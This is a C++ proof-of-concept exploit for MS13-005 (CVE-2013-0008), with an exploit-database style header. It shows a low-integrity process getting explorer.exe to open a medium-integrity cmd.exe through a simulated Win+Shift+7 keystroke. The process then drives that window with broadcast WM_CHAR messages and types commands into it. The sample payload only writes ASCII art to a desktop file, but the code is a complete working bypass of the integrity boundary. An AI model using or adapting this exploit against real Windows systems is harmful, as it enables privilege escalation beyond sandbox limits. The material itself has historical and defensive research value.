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体验盒子/*
ms13-005-funz-poc.cpp - Drive a Medium IL cmd.exe via a Low IL
process and message broadcasted
Copyright (C) 2013 Axel "0vercl0k" Souchet - http://www.twitter.com/0vercl0k
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program.If not, see <http://www.gnu.org/licenses/>.
@taviso did all the job, I just followed its blogpost:
-> http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html
-- amazing.
Cool trick:
-> If you want to set this process to a low IL you can use:
icacls ms13-005-funz-poc.exe /setintegritylevel L
-> The new ms13-005-funz-poc.exe will be now launched as low IL
(you can check it with process explorer)
# Exploit Title: ms13-005-funz-poc.cpp
# Date: 2013-02-05
# Exploit Author: 0vercl0k - https://twitter.com/0vercl0k
# Vendor Homepage: https://www.microsoft.com/
# Version: Windows Vista, Windows Server 2008, Windows 7, Windows
Server 2008 r2, Windows 8, Windows Server 2012, Windows RT (See
http://technet.microsoft.com/fr-fr/security/bulletin/ms13-005)
# Tested on: Windows 7
# CVE : CVE-2013-0008 -
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0008
# Video: http://0vercl0k.tuxfamily.org/bl0g/ms13-005-funz/ms13-005-funz-poc.mp4
*/
#include <windows.h>
#include <stdio.h>
int main()
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
PCHAR payload[] = {
"echo \".___ ___________________ ______________ \">
%USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| | / \\ \\_____/ | \\_ _____/
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| |/\\ /\\|| /~\\__)_
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| /Y\\ || \\Y/\\
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"|___\\____|__/ |____|\\___|_/_______/ \">>
%USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\/\\/\\/
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" _______.________________________ \">>
%USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\\\ | |/_____/ /_____/ /_\\
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" / | \\| / \\___/ \\___//_\\\\
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"/|\\ \\\\_\\\\\\_\\\\/|
\\\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"\\____|__/___|\\______/\\______/\\____|__/
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\/\\/\\/ \\/
\">> %USERPROFILE%\\Desktop\\TROLOLOL",
"exit",
NULL
};
printf("1] Spawning a low IL cmd.exe (from a low IL process)..Rdy
? Press to continue\n");
getchar();
si.cb = sizeof(si);
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
Sleep(1000);
// Yeah, you can "bruteforce" the index of the window..
printf("2] Use Win+Shift+7 to ask explorer.exe to spawn a cmd.exe MI..");
keybd_event(VK_LWIN, 0x5B, 0, 0);
keybd_event(VK_LSHIFT, 0xAA, 0, 0);
keybd_event(0x37, 0x87, 0, 0);
keybd_event(VK_LWIN, 0x5B, KEYEVENTF_KEYUP, 0);
keybd_event(VK_LSHIFT, 0xAA, KEYEVENTF_KEYUP, 0);
keybd_event(0x37, 0x87, KEYEVENTF_KEYUP, 0);
Sleep(1000);
printf("3] Killing now the useless low IL cmd.exe..\n");
TerminateProcess(
pi.hProcess,
1337
);
printf("4] Now driving the medium IL cmd.exe with SendMessage and
HWND_BROADCAST (WM_CHAR)\n");
printf(" \"Drive the command prompt [..] to make it look like a
scene from a Hollywood movie.\" <- That's what we're going to do!\n");
for(unsigned int i = 0; payload[i] != NULL; ++i)
{
for(unsigned int j = 0; j < strlen(payload[i]); ++j)
{
// Yeah, that's the fun part to watch ;D
Sleep(10);
SendMessage(
HWND_BROADCAST,
WM_CHAR,
payload[i][j],
0
);
}
SendMessage(
HWND_BROADCAST,
WM_CHAR,
VK_RETURN,
0
);
}
return EXIT_SUCCESS;
}
体验盒子
